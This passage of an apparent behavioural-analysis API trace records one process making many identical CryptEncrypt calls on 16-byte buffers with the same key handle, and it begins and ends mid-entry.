pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.695] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.697] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 